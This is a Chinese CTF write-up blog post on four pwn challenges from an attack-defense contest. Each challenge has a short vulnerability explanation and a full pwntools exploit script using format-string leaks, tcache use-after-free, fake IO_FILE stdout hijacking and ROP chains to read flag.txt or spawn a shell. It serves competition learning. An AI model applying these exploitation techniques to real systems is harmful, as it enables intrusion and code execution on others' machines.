桂林之旅(虽然还没玩就回学校了

比赛

easynote

scanf函数中格式化 "%ld" 对应的参数没有做取址操作,相当于以size的值为地址写八个字节,并且这里size未进行初始化

利用这个函数可以很容易地提前控制好scanf函数中未初始化的size的值,于是就构成了可控的任意地址写

比赛时我是先利用任意地址写劫持atoi函数的got表为printf函数的plt表,由于atoi的参数是由我们输入控制的,所以就有了可控的格式化字符串,利用这个可以泄露出包括libc地址在内的很多栈上数据。泄露完后再利用任意地址写往bss段上布置好伪造的 IO_FILE 结构体最后劫持stdout指针即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python2
from pwn import *

# io = process('./easynote')
io = remote('172.1.38.9', 8888)
context.binary = 'easynote'
libc = ELF('libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('Choice :\n', str(choice))

def add(size, content):
menu(1)
sla('How long to talk\n', str(size))
sa('What do you want to Say?\n', content)

def delete():
menu(4)

def edit(content):
menu(3)
sa('Input your Content :\n', content)

def show():
menu(2)

def set_val(addr, val):
menu('a\x00' + 'a' * 0x16 + flat(addr))
sla('How long to talk\n', str(val))
sa('What do you want to Say?\n', 'a')

menu('1' + 'a' * 0x17 + flat(0x0000000000404060))
sla('How long to talk\n', str(0x0000000000401120))
sa('What do you want to Say?\n', 'a')
menu(',%p,%3$p,' + '\x00')
ru(',')
stack_addr = int(ru(','), 16)
libc_base = int(ru(','), 16) - 0x114992
open_addr = libc_sym('open')
write_addr = libc_sym('write')
read_addr = libc_sym('read')
file_addr = 0x00000000004040A0 + 0x300
jump_table = libc_os(0x7fee651d70c0 - 0x7fee64fc1000)
lock = libc_os(0x7fee651dca70 - 0x7fee64fc1000)
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x000000000002be51)
pop_rdx_r12 = libc_os(0x000000000011f497)

set_val(file_addr + 0x88, lock)
set_val(file_addr + 0xd8, jump_table - 0x20)
set_val(file_addr + 0xa0, file_addr + 0x100)
w_data_addr = file_addr + 0x100
gadget = libc_os(0x7fd228e891fa - 0x7fd228d1f000)
rop_addr = file_addr + 0x200
set_val(file_addr + 0x48, rop_addr - 0x30)
set_val(rop_addr - (0x30 - 0x18), rop_addr - 0x30)
set_val(rop_addr - (0x30 - 0x28), libc_os(0x00000000000562ec))
set_val(0x404578, libc_os(0x00000000000562ec))
set_val(0x404570, rop_addr - 8)
set_val(w_data_addr + 0xe0, file_addr + 0x100)
set_val(w_data_addr + 0x68, gadget)
flag_addr = file_addr - 0x20
set_val(flag_addr, u64('flag.txt'))
set_val(rop_addr, pop_rdi)
set_val(rop_addr + 8, flag_addr)
set_val(rop_addr + 0x10, pop_rsi)
set_val(rop_addr + 0x18, 0)
set_val(rop_addr + 0x20, open_addr)
set_val(rop_addr + 0x28, pop_rdi)
set_val(rop_addr + 0x30, 3)
set_val(rop_addr + 0x38, pop_rsi)
set_val(rop_addr + 0x40, file_addr + 0x300)
set_val(rop_addr + 0x48, pop_rdx_r12)
set_val(rop_addr + 0x50, 0x30)
set_val(rop_addr + 0x58, 0)
set_val(rop_addr + 0x60, read_addr)
set_val(rop_addr + 0x68, pop_rdi)
set_val(rop_addr + 0x70, 2)
set_val(rop_addr + 0x78, write_addr)
menu('a\x00' + 'a' * 0x16 + flat(0x00000000004040A0))
sla('How long to talk\n', str(file_addr))
ia()

hnlogin

比赛时师兄CSOME打的,注意最后rop要用 execve("/bin/sh", 0, 0)system 函数可能会因为环境问题不能完整执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level='debug'
# io = process(["./ld-linux-x86-64.so.2", "./login"], env={"LD_PRELOAD": "./libc.so.6"})
io = remote("172.1.38.8", 8888)

elf = ELF("./login")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x000000000040269a

vuln = 0x0000404380
ret = 0x000000000040201a

log.success(f"puts_plt 0x{puts_plt:x}")
log.success(f"puts_got 0x{puts_got:x}")

io.sendlineafter(b">", b"admin")

io.sendafter(b">", b"2023@CISCN" + b"a" * (0x20-2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln))

io.recvuntil("Goodbye.admin\n")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))

libc = ELF("./libc.so.6")
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base 0x{libc_base:x}")

# io.send(b"2023@CISCN" + b"a" * (0x20-2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000403031))

io.sendlineafter(b">", b"admin")

ogg = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]

# gdb.attach(io, """
# b *0x004030E6
# """)
# pause()

sys_addr = 0x0000508F0 + libc_base
binsh = 0x001D8698 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f497 + libc_base
exev_addr = 0x00EB0F0 + libc_base

io.sendafter(b">", b"2023@CISCN" + b"a" * (0x20-2) + p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2 + p64(exev_addr))
# io.sendafter(b">", b"2023@CISCN" + b"a" * (0x20-2) + p64(ret) + p64(vuln))

io.interactive()

oldheap

add函数中会先申请一个 0x20 大小 ( malloc(0x10 ) 的chunk,其后8个字节储存content的chunk指针,前8个字节储存content的size,content的chunk大小是由我们控制的,并且后续的edit和show的大小都是以这前8个字节表示的size为依据

delete中存在UAF

先申请一个content大小为0x20 ( malloc(0x10) ) 的chunk,得到两个chunk(A1和A2),再申请一个content大小为0x30 ( malloc(0x20) ) 的chunk,得到两个chunk(B1和B2)。将它们按顺序释放,此时tcache(0x20)链表的结构为 B1->A1->A2 ,这时申请出content大小为0x10的chunk,其用于储存content的指针刚好就是之前的A1,于是就可以控制A1的size和content指针,达成了任意地址任意长度的写入和泄露。由于存在UAF,所以这个洞可以反复利用,第一次将content指针改为got表泄露libc地址,第二次改为bss段地址布置 IO_FILE 结构体,第三次改为储存stdout指针的地址劫持stdout指针即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python2
from pwn import *

# io = process('./oldheap')
io = remote('172.1.38.10', 8888)
context.binary = 'oldheap'
libc = ELF('libc.so.6', checksec = False)

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('What about command: ', str(choice))

def add(idx, size, content):
menu('C')
sla('What about index: ', str(idx))
sla('How long is your string: ', str(size))
sa('What about string: ', content)

def delete(idx):
menu('F')
sla('What about index: ', str(idx))

def edit(idx, content):
menu('W')
sla('What about index: ', str(idx))
sa('What about string: ', content)

def show(idx):
menu('R')
sla('What about index: ', str(idx))

add(0, 0x10, 'a')
add(1, 0x20, 'a')
delete(0)
delete(1)
add(2, 0x10, flat([0x30, 0x0000000000601F90]))
show(0)
ru('string: ')
libc_base = uu64(rc(6)) - (0x7fc4f20ce460 - 0x7fc4f2029000)
open_addr = libc_sym('open')
write_addr = libc_sym('write')
read_addr = libc_sym('read')
file_addr = 0x0000000000602020 + 0x300
jump_table = libc_os(0x7fee651d70c0 - 0x7fee64fc1000)
lock = libc_os(0x7fee651dca70 - 0x7fee64fc1000)
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x000000000002be51)
pop_rdx_r12 = libc_os(0x000000000011f497)
leave = libc_os(0x00000000000562ec)
gadget = libc_os(0x7fd228e891fa - 0x7fd228d1f000)
stdout = 0x0000000000602020
edit(2, flat([0x300, file_addr]))
rop_addr = file_addr + 0x100
rop_chain = flat({
8: pop_rdx_r12,
0x10: 0x30,
0x18: rop_addr,
0x20: pop_rdi,
0x28: leave,
0x30: [
pop_rdi,
file_addr + 0xe8,
pop_rsi,
0,
open_addr,
pop_rdi,
3,
pop_rsi,
file_addr + 0x200,
pop_rdx_r12,
0x30,
0,
read_addr,
pop_rdi,
1,
write_addr
]
})
fake_file = flat({
0x48: rop_addr,
0x68: gadget,
0x88: lock,
0xa0: file_addr,
0xd8: jump_table - 0x20,
0xe0: file_addr,
0xe8: 'flag.txt',
0x100: rop_chain
}, filler = '\x00')
edit(0, fake_file)
edit(2, flat([0x100, stdout]))
edit(0, flat(file_addr))
ia()

Virtual_World

break阶段结束两分钟打通的,心态炸裂(导致后面的fix阶段第一轮直接开摆)。主要是最后几分钟太急了,新放到exp里的gadget都忘记加libc基址的偏移了(要背大锅力),导致 rop_chain 断了(其实早就该通的了(悲)

vm的pop指令里可以泄露堆上的数据

由于成员r0初始为0,所以连续执行pop指令可以造成数组下溢泄露上一个chunk的数据。比赛时是CSOME帮忙泄露的libc地址,大概就是先把 unsortedbin chunk 扩大,然后先申请一个chunk,把 main_arena 的地址留在这个chunk中,之后的calloc会在这个chunk的下方申请,再利用负数溢出就可以通过负下标溢出读取到上面的chunk上的数据

edit函数里没有检查idx,可以利用负idx使其下溢到stdout指针的位置修改 _IO_2_1_stdout_ 结构体上的内容

exp不太稳定,可能需要多打几次(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python2
from pwn import *

# io = process('./pwn')
io = remote('172.1.38.7', 9999)
context.binary = 'pwn'
libc = ELF('libc.so.6', checksec = False)

sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

class op:
push = 1
pop = 2
add = 3
mius = 4
dup = 5

def parse(code):
s = ''
for c in code:
s += p32(c)
return s

def menu(choice):
sla('Choice :', str(choice))

def add(size, content):
menu(1)
sla('size >', str(size))
sa('ins cnt >', content)

def edit(idx, offset):
menu(2)
sla('idx>', str(idx))
sla('offset>', str(offset))

def delete(idx):
menu(3)
sla('idx>', str(idx))

def run(idx, name):
menu(4)
sla('idx>', str(idx))
sla('input your name:', name)

co = [op.pop] * 39
for i in range(20):
add(0xa0, 'aa')
for i in range(19, 0, -1):
delete(i)
for i in range(7):
add(0xa0, parse(co))

add(0x28, 'aa')
run(19, '1456')
io.recvuntil('starts executing instructions!')
for i in range(8):
io.recvuntil('\n')
addr = (int(io.recvuntil('\n', drop=True))) * 0x100000000
addr += int(io.recvuntil('\n', drop=True))
libc_base = addr - (0x7f35a129a1e0 - 0x7f35a1080000) + 0x100000000
index = (0x0000000000005020 - 0x0000000000005040)/8
for i in range(253-26):
add(0x28, 'a')
edit((0x0000000000005020 - 0x0000000000005040)/8, 0)
write_addr = libc_sym('write')
read_addr = libc_sym('read')
jump_table = libc_os(0x7fee651d70c0 - 0x7fee64fc1000)
lock = libc_os(0x7fee651dca70 - 0x7fee64fc1000)
syscall = libc_os(0x0000000000091396)
pop_rax = libc_os(0x0000000000045eb0)
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x000000000002be51)
pop_rdx_r12 = libc_os(0x000000000011f497)
leave = libc_os(0x00000000000562ec)
gadget = libc_os(0x7fd228e891fa - 0x7fd228d1f000)
file_addr = libc_os(0x7f50fcf08780 - 0x7f50fccee000)
rop_addr = file_addr + 0x100
rop_chain = flat({
8: pop_rdx_r12,
0x10: 0x30,
0x18: rop_addr,
0x20: pop_rdi,
0x28: leave,
0x30: [
pop_rax,
2,
pop_rdi,
file_addr + 0xe8,
pop_rsi,
0,
syscall,
pop_rdi,
3,
pop_rsi,
file_addr + 0x200,
pop_rdx_r12,
0x30,
0,
read_addr,
pop_rdi,
1,
write_addr
]
})
fake_file = flat({
0x48: rop_addr,
0x68: gadget,
0x88: lock,
0xa0: file_addr,
0xd8: jump_table - 0x20,
0xc0: 0,
0xe0: file_addr,
0xe8: 'flag.txt',
0x100: rop_chain
}, filler = '\x00')
sla('ins cnt >', fake_file)
ia()

others

留坑(虽然比完赛当天就急着赶回学校了好像也没太多好写的